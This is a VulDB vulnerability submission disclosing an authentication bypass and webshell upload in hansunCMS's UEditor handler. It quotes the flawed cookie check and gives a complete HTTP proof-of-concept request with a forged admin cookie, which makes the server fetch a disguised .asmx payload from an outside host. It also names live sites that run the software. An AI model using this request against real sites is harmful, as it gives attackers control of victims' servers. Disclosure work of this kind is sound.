| タイトル | hansunCMS ueditor Authentication Bypass and File Upload |
|---|
| 説明 | main website https://www.68team.com/ for enterprise and gov main website
like https://www.hangyang.com http://www.ht-lyg.com/
code
public class UEditorHandler : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
if (context.Request.Cookies["AdminUser"] != null || context.Request.Cookies["AdminUser"]["SysUser"] != "")
{
Handler action = null;
switch (context.Request["action"])
{
case "config":
action = new ConfigHandler(context);
break;
case "uploadimage":
action = new UploadHandler(context, new UploadConfig()
{
AllowExtensions = Config.GetStringList("imageAllowFiles"),
PathFormat = Config.GetString("imagePathFormat"),
SizeLimit = Config.GetInt("imageMaxSize"),
UploadFieldName = Config.GetString("imageFieldName")
});
cookies have AdminUser not null can use ueditor upload webshell
poc
POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1
Host: xxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: xxxxxx
Connection: close
Referer: http://xxxxxxxx/cms/Login.aspx
Cookie:AdminUser=AdminId=1&AdminUser=1&AdminPwd=1&AdminName=1&Language=30;ASP.NET_SessionId=hlz4zjbvx0dze5haljxdxuuk
Upgrade-Insecure-Requests: 1
source%5B%5D=http%3A%2F%2Fx.x.x.x%2F1.asmx.jpg%3F.asmx
|
|---|
| ソース | ⚠️ https://github.com/MorStardust/hansuncmswebshell/blob/main/README.md |
|---|
| ユーザー | shamrue (UID 44784) |
|---|
| 送信 | 2023年04月12日 06:23 (4 年 ago) |
|---|
| モデレーション | 2023年04月22日 17:55 (10 days later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 227230 [hansunCMS 1.4.3 controller.ashx?action=catchimage 特権昇格] |
|---|
| ポイント | 20 |
|---|